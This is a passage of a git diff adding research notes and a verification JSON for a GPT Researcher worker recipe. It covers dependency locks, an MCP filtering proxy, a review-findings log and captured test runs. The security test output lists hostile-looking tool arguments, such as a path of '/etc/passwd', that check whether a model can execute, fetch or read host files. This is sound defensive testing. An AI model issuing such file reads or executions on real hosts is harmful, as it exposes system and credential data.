1.6.6](https://github.com/langchain-ai/langchain/blob/langchain-openai%3D%3D1.6.6/libs/partners/openai/langchain_openai/chat_models/base.py#L1274-L1300) + supports Responses plus `output_version=v0`, required for GPT Researcher's string + consumer. `temperature: null` is omitted from request parameters (L1551-1580). +- [Keyword filter](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/gpt_researcher/context/select.py#L1-L36) + is local BM25 with no embedding model/API. Its supported value is `keyword`, + not `BM25`. Native `auto` may select a paid service when a key is inherited; + select `keyword` explicitly. +- [MCP conversion](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/gpt_researcher/mcp/client.py#L41-L181) + passes connection fields only and exposes all discovered tools. Native relevance + selection is not an authorization boundary. A policy file alone cannot enforce + the stack-worker limits. Research a maintained filtering proxy before wiring. +- Installed search-first and find-skills procedures were used. The + [skills directory](https://skills.sh/) and its search endpoint found the + [official GPT Researcher skill](https://github.com/assafelovic/gpt-researcher/blob/v3.7.0/skills/gpt-researcher/SKILL.md). + It teaches an outer agent to invoke GPT Researcher. No internal SKILL.md loader + was found in this tag's non-test Python or release notes; `gpt_researcher/skills` + contains Python components. Do not copy or symlink our skill manifest into an + invented runtime skill directory. Popularity was discovery only. +- The frozen oracle comes from the [Python 3.12 release notes](https://docs.python.org/3.12/whatsnew/3.12.html), + [PEP 695](https://peps.python.org/pep-0695/), [PEP 701](https://peps.python.org/pep-0701/), + and [PEP 632](https://peps.python.org/pep-0632/). The facts concern 3.12.0, + irrespective of later edits to those pages. + +Retrieval: context-mode fetch/index and search, plus bounded ctx_execute primary +source comparisons. Shell `gh api` could not connect; context-mode HTTPS worked. +No host package or skill was installed. Read `adoption/manifest.json`, update +guide, convergence architecture, harness defaults, acceptance policy, token +practice, foundation worker/SDK layers and both Codex MCP templates. + +## Anti-pattern handoff + +These corrections belong in the coordinator's shared anti-pattern log; this +worker is restricted to its recipe and test. + +| Assumption rejected | Evidence and prevention | +| --- | --- | +| Equal tag/package version means equal source | Actual wheel/tag comparison above; source archive pin is mandatory for BM25. | +| A config `enabled_tools` key limits GPT Researcher MCP tools | The converter drops it; expose only tools enforced by a source-backed proxy. | +| A directory called skills loads SKILL.md | Checked release and Python loader paths; it contains built-in Python research components. | + +## Fail-first observation + +Before this directory existed: +`python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v` +returned exit **1**, `Ran 1 test`, `FAILED (failures=1)`; +assertion: `False is not true : README.md`. +Full returned output is in `e2e/offline-red.txt`, with only the worktree path +replaced by ``. This is a local structural test, not upstream acceptance. + +## Lock resolution and additional source checks + +The retained `requirements.in` contains the 140 dependencies read from the +verified tag's `project.dependencies`, plus explicit `ddgs`, +`langchain-openai==1.6.6`, `langchain-mcp-adapters==0.3.2`, build tools and +`pytest==9.1.1`/`pytest-asyncio==1.4.0` for unchanged native tests. Upstream +`requirements.txt:62` supplies the otherwise missing MCP adapter dependency; +`retrievers/duckduckgo/duckduckgo.py:31` imports ddgs. No package was installed. + +For each of `requirements`, `proxy-requirements`, `build-requirements`, the +resolution command was uv 0.12.17: + +```sh +uv pip compile .in --python-version 3.12 \ + --python-platform x86_64-unknown-linux-gnu --generate-hashes \ + --no-header --no-annotate --output-file .lock +``` + +The resolver cache was scoped to a temporary directory inside this recipe and +removed afterwards. Initial native resolution returned `Resolved 193 packages +in 1.63s`, exit 0. Adding the unchanged upstream test runners returned +`Resolved 197 packages in 787ms`, exit 0. The final lock hashes are in pins.json; +the installer never re-resolves. Registry digests prove downloaded-byte identity, +not runtime compatibility or acceptance. `--no-build-isolation` keeps build +dependencies inside the separately verified build lock. + +The MCP gap is filled by the maintained [FastMCP 4.0.10 proxy](https://github.com/PrefectHQ/fastmcp/blob/v4.0.10/docs/servers/providers/proxy.mdx#L260-L275) +and its [list/call middleware reference](https://github.com/PrefectHQ/fastmcp/blob/v4.0.10/docs/servers/middleware.mdx#L751-L768). +Its MCP2 dependency requires the separate proxy venv. Source inspection of +FastMCP's `MCPConfigTransport` confirms a single-server config delegates directly +without adding a tool-name prefix. The registry-verified fastmcp-slim wheel was +read without installation to confirm the public middleware/result APIs. + +Further corrections: QMD `get` returns an embedded resource on success, not +structured content ([v2.8.3 server.ts:462](https://github.com/tobi/qmd/blob/v2.8.3/src/mcp/server.ts#L462)); +the proxy must inspect `is_error` to suppress out-of-collection suggestions. +The native FAST/SUMMARY/BROWSE config keys have no runtime consumer found at this +tag; the README distinguishes declarations from effective BM25/global limits. +`researcher.py:910,922` records prefetched URLs without raw_content; the scraper +records actual raw_content, so the oracle does not count prefetched mentions. + +Initial `python3 scripts/validate.py` returned exit 1: + +```text +Publication validation failed: +blueprints/runtime-workers/gpt-researcher/.research/fastmcp-slim.whl: cannot inspect as UTF-8 publication text +blueprints/runtime-workers/gpt-researcher/.research/source.tar.gz: cannot inspect as UTF-8 publication text +``` + +Those temporary research downloads and caches were removed, retaining resolution +inputs and measured hashes. This failed publication check is preserved separately +from subsequent verification; it was not a framework execution failure. + +Final environment check: MCP's stdio environment whitelist does not include XDG +keys. QMD's existing index therefore gets explicit private `QMD_CONFIG_DIR` and +`INDEX_PATH` overrides ([v2.8.3 collections.ts:112](https://github.com/tobi/qmd/blob/v2.8.3/src/collections.ts#L112), +[store.ts:636](https://github.com/tobi/qmd/blob/v2.8.3/src/store.ts#L636)). +Context-mode gets explicit worker-owned `CONTEXT_MODE_DIR` and project binding; +these are native [v1.0.169 settings](https://github.com/mksglu/context-mode/blob/v1.0.169/src/session/db.ts#L126). +No native shared catalog or credential configuration was read or changed. + +Installed ai-memory tool-schema inspection showed that static MCP clients must +supply both `workspace` and `project`. The proxy supplies both from the private +host file, removes alternative `scopes`, sets `global=false` and `answer=false`, +and bounds results. The offline policy control checks an attempted global or +alternate-workspace override. This is a schema read, not an actual memory call. diff --git a/blueprints/runtime-workers/gpt-researcher/round3-verification.json b/blueprints/runtime-workers/gpt-researcher/round3-verification.json new file mode 100644 index 000000000..0523ab08a --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/round3-verification.json @@ -0,0 +1,529 @@ +{ + "schema_version": 1, + "round": 3, + "acceptance_checks": [ + { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher -v", + "exit_code": 0, + "output": "test_arm_routes_are_explicit_and_judge_stays_on_control (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control) ... ok\ntest_cli_dispatch_runs_unchanged_native_main_with_guarded_transport (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport) ... ok\ntest_dispatch_result_classes_do_not_invent_a_quality_threshold (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_result_classes_do_not_invent_a_quality_threshold) ... ok\ntest_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths) ... ok\ntest_dispatch_start_wait_result_preserves_setup_failure_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_start_wait_result_preserves_setup_failure_handle) ... ok\ntest_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) ... ok\ntest_e2e_persists_disjoint_phases_and_uses_dispatch_handle (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_e2e_persists_disjoint_phases_and_uses_dispatch_handle) ... ok\ntest_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots) ... ok\ntest_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader) ... ok\ntest_gateway_captures_response_correlations_privately_for_worker_and_judge (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_captures_response_correlations_privately_for_worker_and_judge) ... ok\ntest_gateway_reader_uses_only_authorized_columns_and_is_read_only (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_reader_uses_only_authorized_columns_and_is_read_only) ... ok\ntest_gateway_transport_headers_and_strict_schema_controls (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_transport_headers_and_strict_schema_controls) ... ok\ntest_graded_report_binding_rejects_replaced_and_mismatched_exports (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_graded_report_binding_rejects_replaced_and_mismatched_exports) ... ok\ntest_grader_install_refuses_builds_and_retains_upstream_lock (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_grader_install_refuses_builds_and_retains_upstream_lock) ... ok\ntest_judge_uses_documented_batch_budget_and_separate_session (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_judge_uses_documented_batch_budget_and_separate_session) ... ok\ntest_mcp_policy_enforces_calls_and_collection_arguments (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_mcp_policy_enforces_calls_and_collection_arguments) ... ok\ntest_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) ... ok\ntest_read_grade_checks_native_csv_controls_and_artifact_bindings (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_read_grade_checks_native_csv_controls_and_artifact_bindings) ... ok\ntest_receipt_cannot_promote_report_sanity_to_quality_verdict (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_cannot_promote_report_sanity_to_quality_verdict) ... ok\ntest_receipt_records_separate_entry_gateways_phases_and_header_names (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_records_separate_entry_gateways_phases_and_header_names) ... ok\ntest_recipe_contract_and_empty_result (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) ... ok\ntest_report_transport_controls_do_not_grade_content (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) ... ok\ntest_skills_lifecycle_and_no_listener_recipe (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_skills_lifecycle_and_no_listener_recipe) ... ok\ntest_upstream_grade_controls_preserve_scores_and_reject_malformed_output (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_upstream_grade_controls_preserve_scores_and_reject_malformed_output) ... ok\ntest_usage_does_not_call_partial_correlations_complete (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_does_not_call_partial_correlations_complete) ... ok\ntest_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids) ... ok\ntest_worker_uses_native_retry_without_websocket_and_arm_config (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_worker_uses_native_retry_without_websocket_and_arm_config) ... ok\n\n----------------------------------------------------------------------\nRan 27 tests in 0.940s\n\nOK\n{\"skills_at_start\": {\"listed_at_start\": [], \"activation_events\": [], \"status\": \"no SKILL.md loader found in pinned runtime; native inventory unavailable\"}}\n" + }, + { + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "exit_code": 1, + "output": "Publication validation failed:\nblueprints/runtime-workers/gpt-researcher/README.md: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/README.md: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/config.template.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/config.template.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/grader.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/grader.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/gateway.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/gateway.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/host.template.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/host.template.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/install.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/install.sh: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/mcp-policy.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/mcp-policy.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/mcp_proxy.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/mcp_proxy.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/pins.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/research.md: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/research.md: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/run-e2e.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/run-e2e.sh: byte count mismatch\ntests/test_runtime_worker_gpt_researcher.py: SHA-256 mismatch\ntests/test_runtime_worker_gpt_researcher.py: byte count mismatch\n" + }, + { + "command": "rtk env GIT_OPTIONAL_LOCKS=0 git diff --check", + "exit_code": 0, + "output": "" + } + ], + "acceptance_interpretation": "27 local offline tests passed. Publication validation reports only SHA-256/byte-count mismatches for 14 changed registered files, permitted by this repair brief; coordinator must re-register hashes. git diff --check returned no output and exit 0. No bytecode/cache paths remained. Temporary source copies were removed after recording their identities.", + "date": "2026-09-27", + "base_head": "177472394f31", + "pr": 426, + "scope": "Offline repair in the owned gpt-researcher worktree; no staging/commit, host install, container start, model call or gateway request. Evidence manifest remains coordinator-owned.", + "skills": { + "used": [ + "search-first (inline, no delegation)", + "find-skills (read-only directory discovery)", + "tdd (authorized public recipe seams)", + "verification-before-completion" + ], + "discovery": "Skills directory leaderboard and installed catalog inspected; selected maintained upstream CLI and existing proxy/client APIs. No skills installed." + }, + "findings": [ + { + "id": "R1", + "input": "Claude finding 1", + "severity": "major", + "disposition": "fixed", + "change": "Use websocket=None and native logging; preserve the native ten-attempt streamed-report loop with SDK retries disabled.", + "evidence": [ + "tests: test_worker_uses_native_retry_without_websocket_and_arm_config", + "assafelovic/gpt-researcher@0957c301ed06c2a5857b834358c7227c739041d4 gpt_researcher/utils/llm.py:120-143", + "native_retry_control: one transient synthetic failure fails with a websocket and recovers on attempt two without it." + ] + }, + { + "id": "R2", + "input": "Claude finding 2", + "severity": "major", + "disposition": "fixed", + "change": "Judge uses 32768 tokens, chunk size 50 and 5 attempts; explicit max reasoning and one worker are documented task-required deviations.", + "evidence": [ + "test_judge_uses_documented_batch_budget_and_separate_session", + "imlrz/DeepResearch-Bench-II@b38f360603db9531b102aef8c166cedb8509b6f6 README.md:271-280; run_evaluation.py:26-29" + ] + }, + { + "id": "R3", + "input": "Claude finding 3", + "severity": "major", + "disposition": "fixed", + "change": "Select worker route from RUNTIME_WORKER_ARM and optional GPTR_BASE_URL; judge remains separately validated on control.", + "evidence": [ + "test_arm_routes_are_explicit_and_judge_stays_on_control", + "rw3-common.md section 1 supersedes reviewer container suggestions: this recipe already uses host loopback only." + ] + }, + { + "id": "R4", + "input": "Claude finding 4", + "severity": "major", + "disposition": "fixed", + "change": "Exactly one-slash sharedgw/gpt-6-astra-max accepted only at 20129; control GPT-6 variants retained; other providers and two-slash slugs rejected.", + "evidence": [ + "test_arm_routes_are_explicit_and_judge_stays_on_control", + "rw3-common.md section 1; assafelovic/gpt-researcher@0957c301 gpt_researcher/config/config.py:158-166" + ] + }, + { + "id": "R5", + "input": "Claude finding 5", + "severity": "major", + "disposition": "fixed", + "change": "Stable Bash start/wait/result, deterministic status/result/receipt paths, per-attempt failures, busy 75 and separate pass/negative/setup/incomplete classes. Selected upstream CLI main is invoked unchanged inside scoped transport.", + "evidence": [ + "test_dispatch_start_wait_result_preserves_setup_failure_handle", + "test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report", + "test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths", + "test_cli_dispatch_runs_unchanged_native_main_with_guarded_transport", + "assafelovic/gpt-researcher@0957c301 cli.py:306-362; python/cpython@v3.12.12 Doc/library/subprocess.rst:565-599" + ] + }, + { + "id": "R6", + "input": "Claude finding 6", + "severity": "minor", + "disposition": "fixed", + "change": "Separate worker/judge phases and sessions; per-arm entry gateway with private response correlations and no IDs in receipts. The common requirement supersedes the review's suggestion to count both arms at 20128.", + "evidence": [ + "test_receipt_records_separate_entry_gateways_phases_and_header_names", + "test_usage_filters_by_phase_model_path_and_correlation_without_retaining_ids", + "test_gateway_captures_response_correlations_privately_for_worker_and_judge", + "rw3-common.md sections 2-3; encode/httpx@0.28.1 docs/advanced/event-hooks.md:5-7,35-40" + ] + }, + { + "id": "R7", + "input": "Claude finding 7", + "severity": "minor", + "disposition": "fixed", + "change": "Added read_grade CSV high/zero/blocked controls, missing/extra indices, invalid numeric cells and changed CSV/report hash controls. Existing read_grade already rejected these; no fake red failure is claimed for this coverage-only change.", + "evidence": [ + "test_read_grade_checks_native_csv_controls_and_artifact_bindings", + "test_judge_uses_documented_batch_budget_and_separate_session covers main's post-aggregation summary flow with a synthetic native-command seam", + "imlrz/DeepResearch-Bench-II@b38f360 aggregate_scores.py:249-289" + ] + }, + { + "id": "S1", + "input": "Security finding 1", + "severity": "blocker", + "disposition": "fixed", + "change": "Remove execute/file-execute/batch/fetch MCP tools; index accepts literal text only and rejects path/directory arguments. Per-run scratch, context store and HOME replace checkout binding. Existing native scraper private-address guard is forced on.", + "evidence": [ + "test_model_cannot_execute_fetch_or_index_host_files", + "mksglu/context-mode@v1.0.169 src/server.ts:2237-2309; PrefectHQ/fastmcp@v4.0.10 docs/servers/middleware.mdx:751-768", + "assafelovic/gpt-researcher@0957c301 gpt_researcher/utils/url_security.py:8-25,63-122; scraper/scraper.py:195-212" + ] + }, + { + "id": "S1-container/S2/S9", + "input": "Security finding 1 suggested container migration; cross-cutting host-loopback reachability and container hardening", + "severity": "major/minor recommendations", + "disposition": "declined", + "change": "Do not introduce a new unqualified container/runtime. This selected CLI/stdio recipe has no model shell or existing container runtime to apply per-port networking or container flags to. Removed model execution and context fetch instead; document native scraper DNS-rebinding/redirect residual. This is not a claim of OS network isolation.", + "evidence": [ + "rw3-common.md section 5 (container controls where supported by the recipe's actual runtime)", + "assafelovic/gpt-researcher@0957c301 cli.py:306-336; utils/url_security.py:23-25; scraper/beautiful_soup/beautiful_soup.py:60-73", + "README.md Security posture", + "test_model_cannot_execute_fetch_or_index_host_files" + ] + }, + { + "id": "S8", + "input": "Security finding 8 plus cross-cutting unlocked grader installs", + "severity": "minor", + "disposition": "fixed", + "change": "Retain upstream uv.lock with --locked --no-build --no-install-project. No build backend download is permitted. Other recipes' pip/npm grader installers are outside this owned recipe.", + "evidence": [ + "test_grader_install_refuses_builds_and_retains_upstream_lock", + "installed uv 0.12.17 sync --help", + "imlrz/DeepResearch-Bench-II@b38f360 pyproject.toml:1-12" + ] + }, + { + "id": "COMMON-usage/effort", + "severity": "required", + "disposition": "fixed", + "change": "Entry-gateway correlation matching, verified 20129 DB opt-in, model/path/window fallback, missing-correlation detection, no double counting, separate cumulative compression snapshots/delta and effort diagnostics.", + "evidence": [ + "test_usage_does_not_call_partial_correlations_complete", + "test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots", + "diegosouzapw/OmniRoute@a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3 src/lib/usage/callLogs.ts:645-654; src/app/api/analytics/compression/route.ts:13-25; src/lib/db/compressionAnalytics.ts:52-55" + ] + } + ], + "corrections": [ + { + "claim": "All streamed report calls used the outer retry loop.", + "correction": "stream=True plus a websocket forces one attempt. Remove the websocket; native logger preserves observations.", + "verification": "R1 regression failed on the retained NativeEvents object, then passed. Unchanged upstream create_chat_completion synthetic probe also demonstrates one vs two attempts." + }, + { + "claim": "The review described native code retry defaults as 5.", + "correction": "README configuration says 5; run_evaluation.py:28 fallback is 10. The repair explicitly selects the documented 5.", + "verification": "Pinned DRB-II source hash matches pins.json; inspected README:280 and run_evaluation.py:28." + }, + { + "claim": "Removing execution tools alone eliminates context-mode host-file access.", + "correction": "ctx_index also accepts path/directory arguments. The repair refuses them and allows literal content only.", + "verification": "context-mode@v1.0.169 src/server.ts:2267-2309; test_model_cannot_execute_fetch_or_index_host_files failed on path controls before enforcement." + }, + { + "claim": "Observed correlated rows necessarily represent complete usage capture.", + "correction": "A captured response can still be missing from the database. Such observations remain incomplete.", + "verification": "test_usage_does_not_call_partial_correlations_complete: observed vs incomplete failed first, then passed." + }, + { + "claim": "Setup failure could print deterministic paths before their artifacts existed.", + "correction": "Valid attempts now reserve status first and persist setup-failure result and receipt.", + "verification": "test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths failed on a missing result before the fix." + } + ], + "commands": [ + { + "id": "arms-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control -v", + "exit_code": 1, + "output": "test_arm_routes_are_explicit_and_judge_stays_on_control (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control) ... ERROR\n\n======================================================================\nERROR: test_arm_routes_are_explicit_and_judge_stays_on_control (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 36, in test_arm_routes_are_explicit_and_judge_stays_on_control\n control = gateway.select_routes({})\n ^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'gptr_gateway' has no attribute 'select_routes'\n\n----------------------------------------------------------------------\nRan 1 test in 0.006s\n\nFAILED (errors=1)\n", + "output_was_truncated": false + }, + { + "id": "arms-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control -v", + "exit_code": 0, + "output": "test_arm_routes_are_explicit_and_judge_stays_on_control (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_arm_routes_are_explicit_and_judge_stays_on_control) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.003s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "security-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files -v", + "exit_code": 1, + "output": "test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) ... \n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_execute') ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_execute_file') ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_batch_execute') ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_fetch_and_index') ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'path': '/etc/passwd'}) ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'content': 'ok', 'path': '/etc/passwd'}) ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'content': 'ok', 'followSymlinks': True}) ... FAIL\n test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'content': 42}) ... FAIL\ntest_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) ... ERROR\n\n======================================================================\nERROR: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 49, in test_model_cannot_execute_fetch_or_index_host_files\n cfg = proxy.server_config(\"context-mode\", host, run_dir)\nTypeError: server_config() takes 2 positional arguments but 3 were given\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_execute')\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 37, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(name=name), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_execute_file')\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 37, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(name=name), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_batch_execute')\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 37, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(name=name), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (name='ctx_fetch_and_index')\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 37, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(name=name), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'path': '/etc/passwd'})\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 41, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(args=args), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) (args={'content': 'ok', 'path': '/etc/passwd'})\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 41, in test_model_cannot_execute_fetch_or_index_host_files\n with self.subTest(args=args), self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_model_cannot_execute_fetch_or_index_host_files (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_model_cannot_execute_fetch_or_index_host_files) 